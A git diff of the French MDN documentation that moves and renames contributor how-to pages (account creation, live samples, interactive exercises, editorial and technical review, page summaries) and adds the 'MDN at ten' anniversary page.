  • Sebastian Zartner
    • +
  • Tooru Fujisawa
    • +
  • Karen Scarfone
    • +
  • Niklas Barning
    • +
  • ...
    + Et des centaines de contributeurs au wiki.
    • +
+
+The Berlin Office
+ +
 
+
diff --git a/files/fr/mdn/at_ten/index.html b/files/fr/mdn/at_ten/index.html new file mode 100644 index 0000000000..e200103a9b --- /dev/null +++ b/files/fr/mdn/at_ten/index.html @@ -0,0 +1,44 @@ +--- +title: MDN a 10 ans +slug: MDN_a_dix_ans +tags: + - 10 ans + - MDN +translation_of: MDN_at_ten +--- +
+

Fêtons 10 années passées à documenter votre Web.

+
+ +
+

L'histoire de MDN

+ +

Début 2005, une petite equipe de développeurs Web ont crée une ressource libre et construite de façon communautaire. Cette idée brillante et décalée par rapport à cette époque est aujourd'hui devenue Mozilla Developer Network — la meilleure ressource pour toutes les technologies ouvertes du Web. Dix ans plus tard, notre communauté est toujours plus grande et présente sur toute la planète. Ensemble, nous continuons à créer de la documentation, des exemples de code et des ressources d'apprentissage pour toutes les technologies du Web telles que CSS, HTML, JavaScript et tout ce qui fait le Web tel qu'il est :c'est à dire ouvert et puissant.

+ +

En savoir plusabout the history

+ + +

Contribuer à MDN

+ +

Depuis 10 ans, la communauté MDN documente le Web. Qu'il s'agisse de corriger quelques coquilles ou d'écrire des articles entiers pour documenter une nouvelle API, chacun a quelque chose à offrir et aucune contribution n'est trop petite ou trop grande. Nous avons plus de 90 000 pages de contenu qui ont été écrites ou traduites par des membres de notre communauté. Vous pouvez en faire partie.

+ +

En savoir plusabout contributing

+ +

 

+ +

 

+
+ +
+
+
Quand je souhaite comprendre « pourquoi » plutôt que « comment », j'utilise MDN.
+— Christian Heilmann
+
+ + + +
    +
  1. MDN a 10 ans
    2. +
  2. L'histoire de MDN
    3. +
  3. Contribuer à MDN
    4. +
diff --git "a/files/fr/mdn/contribute/howto/comment_cr\303\251er_un_compte_sur_mdn/index.html" "b/files/fr/mdn/contribute/howto/comment_cr\303\251er_un_compte_sur_mdn/index.html" deleted file mode 100644 index a19f772968..0000000000 --- "a/files/fr/mdn/contribute/howto/comment_cr\303\251er_un_compte_sur_mdn/index.html" +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Comment créer un compte sur MDN -slug: MDN/Contribute/Howto/Comment_créer_un_compte_sur_MDN -tags: - - Documentation - - Débutant - - Guide - - MDN Meta -translation_of: MDN/Contribute/Howto/Create_an_MDN_account ---- -
{{MDNSidebar}}

Pour modifier un article ou du contenu sur MDN, il vous faut un profil sur MDN. Pour parcourir MDN, vous n'avez besoin d'aucun profil, rassurez-vous. Dans le guide qui suit, on voit comment créer un profil MDN.

- -
-
Pourquoi dois-je utiliser mon adresse électronique sur MDN ?
-
-Votre adresse électronique est utilisée pour récupérer votre compte et peut être utilisée par les administrateurs MDN afin de vous contacter (à propos de votre compte ou de vos contributions sur le site).
-
-Vous pouvez également l'utiliser pour vous abonner à des pages dont vous souhaitez connaître les modifications (voir cet article pour plus de détails) ou pour recevoir d'autres messages : par exemple, si vous vous inscrivez à la version beta, vous pouvez recevoir des messages relatifs à des fonctionnalités en cours de test.
-
-Votre adresse électronique n'est jamais affichée sur MDN et est uniquement utilisée dans le respect de notre politique de confidentialité. - -
Si vous vous connectez à MDN via GitHub et une adresse noreply, vous ne recevrez aucun message de MDN (même si vous vous abonnez aux modifications d'une page).
-
-
- -
    -
  1. En haut de chaque article MDN, vous trouverez un bouton Connexion. Si vous cliquez dessus, cela affichera la liste des services pour s'authentifier sur MDN.
    2. -
  2. -

    Sélectionnez un de ces services. Actuellement, seul GitHub est disponible. En sélectionnant GitHub, votre page de profil MDN, publique, aura un lien vers votre profil GitHub.

    -
    3. -
  3. -

    Suivez ensuite les étapes de GitHub pour connecter votre compte à MDN.

    -
    4. -
  4. Une fois les étapes d'authentification terminée, vous reviendrez sur MDN où on vous demandera un nom d'utilisateur et une adresse électronique. Votre nom d'utilisateur sera public et utilisé pour vous attribuer vos contributions. N'utilisez pas votre adresse électronique comme nom d'utilisateur.
    5. -
  5. Cliquez sur Créez votre profil MDN.
    6. -
  6. Si l'adresse électronique utilisée à l'étape 4 n'est pas la même que celle utilisée avec le service d'authentification, veuillez vérifier votre messagerie électronique et cliquer sur le lien de confirmation que nous vous avons envoyé.
    7. -
- -

Et voilà ! Vous avez désormais un compte MDN et vous pouvez éditer les articles !

- -

Vous pouvez cliquer sur votre nom en haut de chaque page MDN afin de voir votre profil public. Depuis cette page de profil, vous pouvez cliquer sur Modifier pour éditer les informations de votre profil.

- -
-

Note : Les noms d'utilisateur ne peuvent plus contenir d'espaces ou d'arobases (@). Attention, votre nom d'utilisateur sera utilisé publiquement afin d'identifier vos contributions !

-
diff --git a/files/fr/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/fr/mdn/contribute/howto/convert_code_samples_to_be_live/index.html new file mode 100644 index 0000000000..5ba1d36be9 --- /dev/null +++ b/files/fr/mdn/contribute/howto/convert_code_samples_to_be_live/index.html @@ -0,0 +1,30 @@ +--- +title: Comment convertir des exemples de code pour qu'ils soient "live" +slug: MDN/Contribute/Howto/convertir_code_pour_etre_direct +translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live +--- +
{{MDNSidebar}}

MDN dispose d'un système d'exemples "live", grâce auxquels le code présent sur une page est exécuté pour afficher les résultats de l'exécution de ce code. Cependant, beaucoup d'articles existants affichent du code sans utiliser ce système, et ont donc besoin d'être convertis.

+ +

Les exemples "live", vous permettent de voir à quoi ressemble le résultat d'un exemple, faire une documentation plus dynamique et instructive. Ce guide vous explique comment prendre des exemples existants et leur rajouter la fonctionnalité "live".

+ +
+
Pour quels articles faire cela ?
+
Les articles marqués NeedsLiveSample
+
Quelles compétences pour réaliser cette tâche ?
+
+
    +
  • Comprendre le HTML, CSS et/ou JavaScript, selon le code implémenté
    • +
  • Savoir utiliser les macros KumaScript dans les articles du MDN
    • +
+
+
Quelles étapes pour réaliser cette tâche ?
+
+
    +
  1. Choisissez un article dans la liste de ceux marqués NeedsLiveSample, pour lequel le code présenté porte sur des notions qui vous sembles familières.
    2. +
  2. Convertissez le code pour qu'il soit "live"
    3. +
  3. Supprimer le code ou l'image qui montrait les sorties et résultats du programme. Votre exemple "live" le remplace désormais.
    4. +
+
+
+ +

Pour plus d'information sur la création et l'édition d'exemples "live", voir Utiliser le système d'exemple "live" (en anglais).

diff --git a/files/fr/mdn/contribute/howto/convertir_code_pour_etre_direct/index.html b/files/fr/mdn/contribute/howto/convertir_code_pour_etre_direct/index.html deleted file mode 100644 index 5ba1d36be9..0000000000 --- a/files/fr/mdn/contribute/howto/convertir_code_pour_etre_direct/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Comment convertir des exemples de code pour qu'ils soient "live" -slug: MDN/Contribute/Howto/convertir_code_pour_etre_direct -translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live ---- -
{{MDNSidebar}}

MDN dispose d'un système d'exemples "live", grâce auxquels le code présent sur une page est exécuté pour afficher les résultats de l'exécution de ce code. Cependant, beaucoup d'articles existants affichent du code sans utiliser ce système, et ont donc besoin d'être convertis.

- -

Les exemples "live", vous permettent de voir à quoi ressemble le résultat d'un exemple, faire une documentation plus dynamique et instructive. Ce guide vous explique comment prendre des exemples existants et leur rajouter la fonctionnalité "live".

- -
-
Pour quels articles faire cela ?
-
Les articles marqués NeedsLiveSample
-
Quelles compétences pour réaliser cette tâche ?
-
-
    -
  • Comprendre le HTML, CSS et/ou JavaScript, selon le code implémenté
    • -
  • Savoir utiliser les macros KumaScript dans les articles du MDN
    • -
-
-
Quelles étapes pour réaliser cette tâche ?
-
-
    -
  1. Choisissez un article dans la liste de ceux marqués NeedsLiveSample, pour lequel le code présenté porte sur des notions qui vous sembles familières.
    2. -
  2. Convertissez le code pour qu'il soit "live"
    3. -
  3. Supprimer le code ou l'image qui montrait les sorties et résultats du programme. Votre exemple "live" le remplace désormais.
    4. -
-
-
- -

Pour plus d'information sur la création et l'édition d'exemples "live", voir Utiliser le système d'exemple "live" (en anglais).

diff --git a/files/fr/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html b/files/fr/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html new file mode 100644 index 0000000000..31297c792c --- /dev/null +++ b/files/fr/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html @@ -0,0 +1,190 @@ +--- +title: Comment créer un exercice interactif +slug: MDN/Contribute/Howto/Creer_un_exercice_interactif_pour_apprendre_le_web +tags: + - Apprendre + - Comment faire + - Guide + - Intermédiaire + - MDN Meta + - Tutoriel +translation_of: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/fr/docs/MDN")}}
+ +

Quand on étudie le Web, il est important de pouvoir s'appuyer sur des exemples pratiques. Ce genre de contenu est là pour aider à apprendre de manière proactive. Ce peut être sous forme d'exercices, d'exemples interactifs, d'une liste de choses à faire, d'évaluations, etc. En un mot, tout ce qui peut amener quelqu'un à participer activement à son apprentissage.

+ +

Il n'existe pas de méthode directe pour créer un tel contenu. Par exemple, on peut trouver plusieurs sites tiers qui permettent de créer du code modifiable (voir : Glitch, JSFiddle, CodePen, Dabblet, etc.) que vous pouvez mettre en lien dans les articles MDN.

+ +

Pour le moment, MDN ne possède pas d'outil facilement accessible pour créer des exemples interactifs. Néanmoins, si vous êtes un développeur, vous pouvez utiliser directement des fonctionnalités MDN pour créer du contenu interactif personnalisé. Continuez la lecture pour en savoir plus.

+ +

Les lives samples

+ +

MDN possède une fonctionnalité assez cool, les live samples (qu'on pourrait traduire par exemple interactif). C'est un programme qui interprète un échantillon de code HTML, CSS, et JavaScript directement dans une page MDN. Avant de vous en servir, vous devriez lire Using the live sample system, qui est la documentation complète sur son utilisation. Bien qu'il soit facile à prendre en main, vous en apprendrez tout au long de son utilisation.

+ +

L'avantage est qu'il est vraiment facile d'exploiter cette fonctionnalité pour intégrer toute sorte d'exemples dont on a besoin dans une page MDN.

+ +

Le code caché

+ +

La meilleur moyen de créer un échantillon de code qui vous permettra de créer un exemple interactif est de construire la page dans laquelle vous voulez insérer votre contenu. Ne vous embetez pas avec la complexité du code; créez seulement ce dont vous avez besoin. Une fois qu'il est prêt, basculer vers l'éditeur de code et insérer celui-ci dans la balise {{HTMLElement('div')}} avec la classe hidden. En faisant ça, votre code ne sera pas affiché, mais votre échantillon restera accessible et modififable.

+ +

Prenons un exemple simple:

+ +
+

Cliquer sur le carré suivant pour changer sa couleur de manière aléatoire ou entrez un code couleur héxadécimal.

+ + +{{EmbedLiveSample('hidden_code_example', 120, 120)}}
+ +

Si on regarde le code HTML de l'éditeur MDN on retrouvera, lorsqu'il aura été géneré, exactement le code HTML suivant :

+ +
<div class="moreinfo">
+<p>Cliquer sur le carré suivant pour changer sa couleur de manière aléatoire ou entrez un code couleur héxadécimal.</p>
+
+<div class="hidden">
+<h4 id="hidden_code_example">Exemple de code caché</h4>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">
+&lt;div class="square"&gt;
+  #&lt;input class="color"&gt;
+&lt;/div&gt;</pre>
+
+<h5 id="CSS">CSS</h5>
+
+<pre class="brush: css">
+body {
+  padding: 10px;
+  margin : 0;
+}
+
+.square {
+  width  : 80px;
+  height : 80px;
+  padding: 10px;
+  background-color: black;
+  color: white;
+  text-align: center;
+}
+
+.color {
+  width: 60px;
+  text-transform: uppercase;
+}
+</pre>
+
+<h5 id="JS">JS</h5>
+
+<pre class="brush: js">
+function setColor(color) {
+  document.querySelector('.square').style.backgroundColor = '#' + color;
+  document.querySelector('.color').value = color;
+}
+
+function getRandomColor() {
+  var color = Math.floor(Math.random() * 16777215);
+  return color.toString(16);
+}
+
+function getInputColor() {
+  var value = document.querySelector('.color').value;
+  var color = Number('0x' + color);
+  if (color === +color) {
+    return color.toString(16);
+  }
+  return value;
+}
+
+document.addEventListener('click', function () {
+  setColor(getRandomColor());
+});
+
+document.addEventListener('keyup', function () {
+  setColor(getInputColor());
+});
+</pre>
+</div>
+
+\{{EmbedLiveSample('hidden_code_example', 120, 120)}}
+</div>
+ +

Vous trouverez des exemples plus avancés dans la page sur l'API Canvas API.

+ +

Code externe

+ +

L'exemple précédent est suffisant pour intégrer des exemples basiques. Néanmoins, si vous voulez traiter du code plus complexe, cela peut devenir assez difficile uniquement à l'aide de la classe hidden.

+ +

L'autre option est d'écrire votre code dans une page MDN et de l'insérer ensuite dans une autre. On peut utiliser le macro {{TemplateLink("EmbedDistLiveSample")}} au lieu de {{TemplateLink("EmbedLiveSample")}}.

+ +

Voici à quoi cet exemple ressemble lorsqu'il est intégré à l'aide de la méthode distante :

+ +
+

Cliquer sur le carré suivant pour changer sa couleur de manière aléatoire ou entrez un code couleur héxadécimal.

+{{EmbedLiveSample('The_example', 120, 120, '', 'MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web/distant_example')}}
+ +

Cette fois, si vous allez sur cette page avec l'éditeur MDN, vous ne verrez pas de code caché. Si vous voulez voir le code, allez sur la page qui l'héberge.

+ +

Vous trouverez des exemples plus avancés sur le tutoriel sur les formulaires HTML, qui appliquent ces méthodes pour permettre leur utilisation sur des formulaires.

diff --git a/files/fr/mdn/contribute/howto/creer_un_exercice_interactif_pour_apprendre_le_web/index.html b/files/fr/mdn/contribute/howto/creer_un_exercice_interactif_pour_apprendre_le_web/index.html deleted file mode 100644 index 31297c792c..0000000000 --- a/files/fr/mdn/contribute/howto/creer_un_exercice_interactif_pour_apprendre_le_web/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Comment créer un exercice interactif -slug: MDN/Contribute/Howto/Creer_un_exercice_interactif_pour_apprendre_le_web -tags: - - Apprendre - - Comment faire - - Guide - - Intermédiaire - - MDN Meta - - Tutoriel -translation_of: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/fr/docs/MDN")}}
- -

Quand on étudie le Web, il est important de pouvoir s'appuyer sur des exemples pratiques. Ce genre de contenu est là pour aider à apprendre de manière proactive. Ce peut être sous forme d'exercices, d'exemples interactifs, d'une liste de choses à faire, d'évaluations, etc. En un mot, tout ce qui peut amener quelqu'un à participer activement à son apprentissage.

- -

Il n'existe pas de méthode directe pour créer un tel contenu. Par exemple, on peut trouver plusieurs sites tiers qui permettent de créer du code modifiable (voir : Glitch, JSFiddle, CodePen, Dabblet, etc.) que vous pouvez mettre en lien dans les articles MDN.

- -

Pour le moment, MDN ne possède pas d'outil facilement accessible pour créer des exemples interactifs. Néanmoins, si vous êtes un développeur, vous pouvez utiliser directement des fonctionnalités MDN pour créer du contenu interactif personnalisé. Continuez la lecture pour en savoir plus.

- -

Les lives samples

- -

MDN possède une fonctionnalité assez cool, les live samples (qu'on pourrait traduire par exemple interactif). C'est un programme qui interprète un échantillon de code HTML, CSS, et JavaScript directement dans une page MDN. Avant de vous en servir, vous devriez lire Using the live sample system, qui est la documentation complète sur son utilisation. Bien qu'il soit facile à prendre en main, vous en apprendrez tout au long de son utilisation.

- -

L'avantage est qu'il est vraiment facile d'exploiter cette fonctionnalité pour intégrer toute sorte d'exemples dont on a besoin dans une page MDN.

- -

Le code caché

- -

La meilleur moyen de créer un échantillon de code qui vous permettra de créer un exemple interactif est de construire la page dans laquelle vous voulez insérer votre contenu. Ne vous embetez pas avec la complexité du code; créez seulement ce dont vous avez besoin. Une fois qu'il est prêt, basculer vers l'éditeur de code et insérer celui-ci dans la balise {{HTMLElement('div')}} avec la classe hidden. En faisant ça, votre code ne sera pas affiché, mais votre échantillon restera accessible et modififable.

- -

Prenons un exemple simple:

- -
-

Cliquer sur le carré suivant pour changer sa couleur de manière aléatoire ou entrez un code couleur héxadécimal.

- - -{{EmbedLiveSample('hidden_code_example', 120, 120)}}
- -

Si on regarde le code HTML de l'éditeur MDN on retrouvera, lorsqu'il aura été géneré, exactement le code HTML suivant :

- -
<div class="moreinfo">
-<p>Cliquer sur le carré suivant pour changer sa couleur de manière aléatoire ou entrez un code couleur héxadécimal.</p>
-
-<div class="hidden">
-<h4 id="hidden_code_example">Exemple de code caché</h4>
-
-<h5 id="HTML">HTML</h5>
-
-<pre class="brush: html">
-&lt;div class="square"&gt;
-  #&lt;input class="color"&gt;
-&lt;/div&gt;</pre>
-
-<h5 id="CSS">CSS</h5>
-
-<pre class="brush: css">
-body {
-  padding: 10px;
-  margin : 0;
-}
-
-.square {
-  width  : 80px;
-  height : 80px;
-  padding: 10px;
-  background-color: black;
-  color: white;
-  text-align: center;
-}
-
-.color {
-  width: 60px;
-  text-transform: uppercase;
-}
-</pre>
-
-<h5 id="JS">JS</h5>
-
-<pre class="brush: js">
-function setColor(color) {
-  document.querySelector('.square').style.backgroundColor = '#' + color;
-  document.querySelector('.color').value = color;
-}
-
-function getRandomColor() {
-  var color = Math.floor(Math.random() * 16777215);
-  return color.toString(16);
-}
-
-function getInputColor() {
-  var value = document.querySelector('.color').value;
-  var color = Number('0x' + color);
-  if (color === +color) {
-    return color.toString(16);
-  }
-  return value;
-}
-
-document.addEventListener('click', function () {
-  setColor(getRandomColor());
-});
-
-document.addEventListener('keyup', function () {
-  setColor(getInputColor());
-});
-</pre>
-</div>
-
-\{{EmbedLiveSample('hidden_code_example', 120, 120)}}
-</div>
- -

Vous trouverez des exemples plus avancés dans la page sur l'API Canvas API.

- -

Code externe

- -

L'exemple précédent est suffisant pour intégrer des exemples basiques. Néanmoins, si vous voulez traiter du code plus complexe, cela peut devenir assez difficile uniquement à l'aide de la classe hidden.

- -

L'autre option est d'écrire votre code dans une page MDN et de l'insérer ensuite dans une autre. On peut utiliser le macro {{TemplateLink("EmbedDistLiveSample")}} au lieu de {{TemplateLink("EmbedLiveSample")}}.

- -

Voici à quoi cet exemple ressemble lorsqu'il est intégré à l'aide de la méthode distante :

- -
-

Cliquer sur le carré suivant pour changer sa couleur de manière aléatoire ou entrez un code couleur héxadécimal.

-{{EmbedLiveSample('The_example', 120, 120, '', 'MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web/distant_example')}}
- -

Cette fois, si vous allez sur cette page avec l'éditeur MDN, vous ne verrez pas de code caché. Si vous voulez voir le code, allez sur la page qui l'héberge.

- -

Vous trouverez des exemples plus avancés sur le tutoriel sur les formulaires HTML, qui appliquent ces méthodes pour permettre leur utilisation sur des formulaires.

diff --git a/files/fr/mdn/contribute/howto/faire_relecture_redactionnelle/index.html b/files/fr/mdn/contribute/howto/faire_relecture_redactionnelle/index.html deleted file mode 100644 index 4a6d2d8770..0000000000 --- a/files/fr/mdn/contribute/howto/faire_relecture_redactionnelle/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Comment faire une relecture rédactionnelle -slug: MDN/Contribute/Howto/faire_relecture_redactionnelle -tags: - - Documentation - - Guide - - MDN Meta - - Revue éditoriale -translation_of: MDN/Contribute/Howto/Do_an_editorial_review ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/fr/docs/MDN")}}
- -

Une revue éditoriale consiste à corriger des fautes d'orthographe, de grammaire ou d'usage dans le texte d'un article. Il n'est pas nécessaire d'être un expert linguistique pour contribuer et toute relecture et correction attentive représente une contribution extrêmement utile.

- -

Dans cet article, on décrit ce qu'est une revue éditoriale et comment aider à ce que le contenu de MDN soit formulé précisément.

- -
-
Qu'est-ce que cette tâche ?
-
Il s'agit de relire et de corriger les articles ayant été marqués comme nécessitant une revue éditoriale.
-
Où faut-il accomplir cette tâche ?
-
Les revues éditoriales concernent principalement les articles qui ont été marqués comme nécessitant une revue éditoriale.
-
Que faut-il savoir pour accomplir cette tâche ?
-
Il faut avoir de bonnes notions en grammaire et en orthographe. Une revue éditoriale consiste à vérifier la grammaire, l'orthographe et les formulations utilisées dans un article. C'est également l'occasion de vérifier que le guide stylistique de MDN est bien respecté.
-
Quelles sont les étapes à suivre ?
-
-
    -
  1. Choisissez un article à relire : -
      -
    1. Consultez la liste des articles en attente d'une revue éditoriale. Cette page liste l'ensemble des articles pour lesquels ont été demandées des revues éditoriales.
      2. -
    2. Cliquez sur le lien d'un article pour charger la page.
      - Note : cette liste est générée de façon automatique mais peut ne pas être rafraîchie. Si l'article que vous avez choisi ne contient plus la bannière Cet article doit recevoir les relectures suivantes, vous pouvez rafraîchir la page avec la liste et en choisir un autre.
      3. -
    -
    2. -
  2. Lisez l'article avec précaution en faisant attention aux coquilles, fautes d'orthographe ou de grammaire ou aux formulations approximatives. N'hésitez pas à changer d'article si celui que vous avez choisi ne vous convient pas.
    3. -
  3. S'il n'y a pas d'erreur, vous n'avez pas besoin de modifier l'article pour terminer la relecture. Vous pouvez utiliser la zone présente dans la barre verticale à gauche de l'article :
    - capture d’écran de la boite de menu latéral indiquant une demande de relecture rédactionnelle
    4. -
  4. Décocher la case marquée Rédactionnel puis cliquer sur Enregistrer.
    5. -
  5. Si vous décelez des erreurs : -
      -
    1. Cliquez sur le bouton Modifier en haut de la page, vous accéderez alors à l'éditeur.
      2. -
    2. Corrigez les fautes trouvées. Si vous n'avez pas le temps ou que vous ne pensez pas avoir corrigé toutes les fautes, ce n'est pas grave et cela représente déjà une contribution essentielle, auquel cas, vous pouvez laisser la demande de revue sur la page.
      3. -
    3. Saisissez un commentaire de révision dans la zone en bas de l'article (par exemple : Revue éditoriale effectuée, correction de XX). Cela permet aux autres contributeurs et aux éditeurs de savoir ce que vous avez modifié et pourquoi.
      4. -
    4. Décochez la case Rédactionnel dans la zone Relecture nécessaire ? Cette zone est située juste avant les commentaires de révision.
      5. -
    5. Enfin, cliquez sur le bouton Publier.
      6. -
    -
    6. -
- -
-

Note : Vos modifications peuvent ne pas être immédiatement visibles après l'enregistrement en raison du traitement de la page par le système. Vous pouvez rafraîchir la page après quelques instants pour résoudre ce problème s'il se présente.

-
-
-
diff --git a/files/fr/mdn/contribute/howto/faire_relecture_technique/index.html b/files/fr/mdn/contribute/howto/faire_relecture_technique/index.html deleted file mode 100644 index d2e299a83c..0000000000 --- a/files/fr/mdn/contribute/howto/faire_relecture_technique/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Comment faire une relecture technique -slug: MDN/Contribute/Howto/faire_relecture_technique -translation_of: MDN/Contribute/Howto/Do_a_technical_review ---- -
{{MDNSidebar}}
- -

La relecture technique consiste en une vérification de la véracité des explications techniques de l'article, et à corriger les erreurs qui pourraient s'y trouver. Si un rédacteur de l'article souhaite que quelqu'un d'autre vérifie le contenu technique, le rédacteur coche la case "Technical review" (Relecture technique) lors de l'édition. Souvent le rédacteur contacte un ingénieur particulier pour réaliser la relecture technique, mais n'importe qui avec une expertise technique sur le sujet peut le faire.

- - - - - - - - - - - - - - - - -
Où cela doit être fait ?Dans les articles qui sont marqués comme nécessitant une relecture technique.
Qu'est ce qu'il faut savoir pour faire cette tâche ? -
    -
  • Expertise sur le sujet couvert par l'article que vous vous apprêtez à relire.
    • -
  • Savoir éditer des articles sur MDN.
    • -
-
Quelles sont les étapes ? -
    -
  1. Allez sur la liste des pages nécessitant une relecture technique.
    2. -
  2. Choisissez une page dont vous connaissez très bien le sujet.
    3. -
  3. Cliquez sur le lien de l'article.
    4. -
  4. Une fois la page chargée, cliquez sur le bouton MODIFIER en haut de l'article ; il vous amènera à l'interface d'édition. N'hésitez pas à changer de page si celle-ci ne vous convient pas.
    5. -
  5. En lisant l'article, corrigez toute information technique erronée, et ajoutez les informations importantes qui seraient absentes.
    6. -
  6. Expliquez ce que vous avez fait, en bas de l'article dans la section "Commentaire sur la révision". (par exemple : "Relecture technique terminée") Si vous avez corrigé des informations pensez à les inclure dans votre commentaire (par exemple : Relecture technique ; correction de la description des paramètres").
    7. -
  7. Cliquer sur le bouton ENREGISTRER LES MODIFICATIONS.
    8. -
  8. Une fois que l'article corrigé apparait à l'écran, après avoir quitté le mode d'édition, cochez l'entrée Technical, sur le côté droit, et cliquez Submit Review.
    9. -
  9. Vous avez fini !
    10. -
-
diff --git a/files/fr/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/fr/mdn/contribute/howto/set_the_summary_for_a_page/index.html deleted file mode 100644 index eb57ce4229..0000000000 --- a/files/fr/mdn/contribute/howto/set_the_summary_for_a_page/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Comment définir le résumé d'une page -slug: MDN/Contribute/Howto/Set_the_summary_for_a_page -tags: - - Communauté - - Documentation - - Guide - - MDN -translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page ---- -
{{MDNSidebar}}

Vous pouvez définir le resumé d'une page sur MDN, qui pourra être utilisée de diverses manières. Notamment dans les résultats des moteurs de recherches, dans les autres pages MDN ainsi que les pages d'actualités et dans les infobulles.Cela doit être un texte ayant un sens à la fois dans le contexte de la page,  mais également lors de l'affichage dans d'autres contextes, sans le reste du contenu de la page.

- -

Un résumé peut avoir été explicitement défini dans la page. S'il n'y en a pas, la ou les premières phrases sont alors utilisées, ce qui n'est pas toujours le plus adapté dans ce cas.

- - - - - - - - - - - - - - - - - - - - -
Quelle est la tâche ?Définir dans la page un texte qui puisse être utilisé comme résumé dans un autre contexte ; cette tâche peut inclure une réécriture adaptée du texte, si nécessaire.
Où est-ce qu'il y en a besoin ?Dans les pages qui n'ont pas de résumé, ou un qui peut être amélioré.
Qu'avez vous besoin de savoir pour la réaliser ?Connaissance de l'éditeur MDN ; de bonnes compétences de rédaction en français ; suffisamment de connaissances dans le sujet de la page, pour pouvoir écrire un bon résumé.
Quelles sont les étapes à réaliser ? -
    -
  1. Choisir une page sur laquelle ajouter un résumé : -
      -
    1. Dans la page du statut de la documentation MDN, cliquer sur un lien de la catégorie Sections qui représente un sujet que vous connaissez (par exemple, HTML) :
      -
      2. -
    2. Dans la page de votre sujet, cliquez sur l'entête Pages dans le tableau Summary. Cela vous redirige vers un index de toutes les pages de ce sujet ; il affiche le lien de la page dans la colonne de gauche. Les tags et résumés dans la colonne de droite :
      -
      3. -
    3. Choisir une page dont le résumé est manquant, ou mauvais :
      -
      4. -
    4. Cliquer sur le lien pour aller sur la page.
      5. -
    -
    2. -
  2. Cliquer sur Modifier pour ouvrir la page dans l'éditeur MDN.
    3. -
  3. Chercher une phrase ou deux qui fonctionnent comme un résumé en dehors du contexte. Si nécessaire, modifier le contenu pour obtenir des phrases adaptées à un résumé.
    4. -
  4. Sélectionner le texte à utiliser comme résumé.
    5. -
  5. Dans le widget Styles de la barre d'outils de l'éditeur, sélectionner SEO Summary. (Dans le code source de la page, cela crée un élément {{HTMLElement("span")}} avec la classe class="seoSummary" autour du texte sélectionné.)
    -
    6. -
  6. Enregistrer vos modifications avec un commentaire de révision du style "Définir le résumé de la page" ou "Set the page summary" (en anglais).
    7. -
-
- -

 

- -

 

- -

 

diff --git a/files/fr/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/fr/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html deleted file mode 100644 index 5ef97245d0..0000000000 --- a/files/fr/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Comment rédiger un article pour aider les gens à se familiariser avec le Web -slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web -tags: - - Apprentissage - - Guide - - How to -translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web ---- -
{{MDNSidebar}}
- -
-

L'Espace d'apprentissage de MDN est le portail pour les articles qui présentent les concepts Web aux nouveaux développeurs. Parce que son contenu s'adresse surtout aux débutants, c'est un endroit idéal pour partager les connaissances et aider les nouveaux arrivants à connaître le Web. Il est important de s'assurer que les nouveaux développeurs peuvent comprendre ce contenu, c'est pourquoi nous y accordons une attention particulière.

- -

Cet article explique comment écrire des pages pour l'Espace d'apprentissage.

-
- -

Comment écrire un article pour l'Espace d'Apprentissage

- -

 

- -

Pour commencer à partager vos connaissances, cliquez simplement sur le gros bouton vert, puis parcourez les cinq étapes ci-dessous. Si vous êtes à la recherche d'idées, jetez un coup d'oeil au tableau de notre équipe Trello !

- -

 

- -
Écrire un nouvel article pour l'Espace d'Apprentissage - -
 
-
- -

 

- -

Cet article ne se retrouvera peut-être pas exactement au bon endroit, mais au moins, il est sur MDN. Si vous avez besoin de parler à quelqu'un pour le mettre au bon endroit, n'hésitez pas à nous contacter.

- -

Étape n° 1 : écrire un résumé en deux lignes

- -

La première phrase de l'article doit résumer le sujet que vous allez traiter, et la seconde aborder quelques particularités des éléments mis dans l'article. Par exemple :

- -
-

Alors que les fichiers {{glossary("HTML")}} contiennent du contenu structuré, les {{Glossary("CSS")}}, autre technologie majeure du Web, donneront au contenu l'apparence souhaitée. Dans cet article, nous allons détailler le fonctionnement de cette technologie et indiquer comment écrire votre propre exemple de base.

-
- -

Notez comment l'exemple explique brièvement que le CSS est une technologie Web de base utilisée pour styliser les pages. C'est suffisant pour que le lecteur puisse se faire une bonne idée de ce que l'article traite.

- -

Comme les articles du domaine d'apprentissage s'adressent principalement aux débutants, chaque article doit porter sur un sujet simple afin de ne pas noyer le lecteur sous un flot de concepts nouveaux. Si vous ne pouvez pas résumer l'article en une phrase, il se peut que vous essayiez d'en faire trop en un article !

- -

Étape n° 2 : ajouter une boîte d'en‑tête

- -

Ajoutez ensuite une boîte d'en‑tête pour aider les lecteurs à se repérer et savoir où ils en sont dans le processus d'apprentissage.  Voici l'exemple d'une boîte d'en‑tête issue de « Comprendre les URL et leur structure ». Vous pouvez utiliser cet article comme modèle lorsque vous écrivez le vôtre.

- -

 

- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir comment fonctionne Internet, ce qu'est un serveur web et les concepts sous-jacents aux liens sur le Web.
